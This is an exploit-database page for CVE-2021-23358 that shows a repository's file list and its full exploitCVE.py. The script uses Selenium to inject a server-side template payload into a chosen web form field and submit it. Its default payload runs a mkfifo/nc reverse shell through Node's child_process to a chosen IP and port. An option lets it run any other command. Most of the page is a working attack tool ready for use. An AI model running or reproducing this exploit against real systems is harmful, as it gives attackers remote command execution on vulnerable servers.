Exploit databaseDownload repository ZIP
GH-662ed41a43a58ae76a6048c17dea9a64
mehdiboukhobza/sandbox_cve-2021-23358
Sources for CVE-2021-23358
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files12
mehdiboukhobza/sandbox_cve-2021-23358Revision edd06ded5f4f
- .vscode/
- node_modules/
- app.js
- cve-2021-23358.sh
- exploitCVE.py
- geckodriver-v0.33.0-linux64.tar.gz
- package-lock.json
- package.json
- rs.sh
- scan1.py
- scan3.js
- scanPOC.py
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploitCVE.py
Python · 3,839 bytesimport requests
from bs4 import BeautifulSoup
from selenium import webdriver
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
import argparse
import sys
def setup_webdriver():
"""
Sets up the Selenium WebDriver.
Returns:
webdriver.Firefox: An instance of the Firefox WebDriver.
"""
try:
driver = webdriver.Firefox() # Ensure you have the geckodriver installed and available in PATH
return driver
except Exception as e:
print(f"Failed to initialize WebDriver. Ensure geckodriver is installed and in PATH. Error: {e}")
sys.exit(1)
def inject_payload(url, input_id, payload):
"""
Injects a payload into a specified input field on a web page and submits the form.
Args:
url (str): The URL of the target web page.
input_id (str): The ID of the vulnerable input field.
payload (str): The payload to be injected.
Returns:
None
"""
driver = setup_webdriver()
driver.get(url)
try:
# Wait for the vulnerable input to be present
vulnerable_input = WebDriverWait(driver, 10).until(
EC.presence_of_element_located((By.ID, input_id))
)
# Fill in the vulnerable input with the payload
vulnerable_input.send_keys(payload)
# Find the form containing the vulnerable input and other inputs
form = vulnerable_input.find_element(By.XPATH, "./ancestor::form")
# Find all other input elements within the form and fill them with dummy data
other_inputs = form.find_elements(By.TAG_NAME, 'input')
for input_element in other_inputs:
if input_element.get_attribute('id') == input_id or input_element.get_attribute('type') == 'hidden':
continue
input_element.send_keys('dummy_data')
# Submit the form
form.submit()
print(f"Payload injected and form submitted to {url}")
except Exception as e:
print(f"An error occurred while injecting the payload: {e}")
finally:
driver.quit()
def main():
parser = argparse.ArgumentParser(
description="Inject payload into a web form.",
epilog="Example usage:\n"
" python script_name.py -l http://example.com/login -i username -ip 192.168.1.10 -p 1234\n"
" python script_name.py -l http://example.com/login -i username -c \"your_custom_payload_here\"",
formatter_class=argparse.RawTextHelpFormatter
)
parser.add_argument('-l', '--url', type=str, required=True, help='The URL of the target web page.')
parser.add_argument('-i', '--input_id', type=str, required=True, help='The ID of the vulnerable input field.')
parser.add_argument('-ip', '--ip_address', type=str, default='localhost', help='The IP address to use in the reverse shell payload (default: localhost).')
parser.add_argument('-p', '--port', type=int, default=4321, help='The port to use in the reverse shell payload (default: 4321).')
parser.add_argument('-c', '--custom_payload', type=str, help='Custom payload to inject. If provided, it overrides the default reverse shell payload.')
args = parser.parse_args()
if args.custom_payload:
payload = f"a = this.process.mainModule.require('child_process').execSync('{args.custom_payload}')"
else:
payload = f"a = this.process.mainModule.require('child_process').execSync('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {args.ip_address} {args.port} >/tmp/f')"
#print(f"Generated Payload: {payload}")
inject_payload(args.url, args.input_id, payload)
if __name__ == "__main__":
main()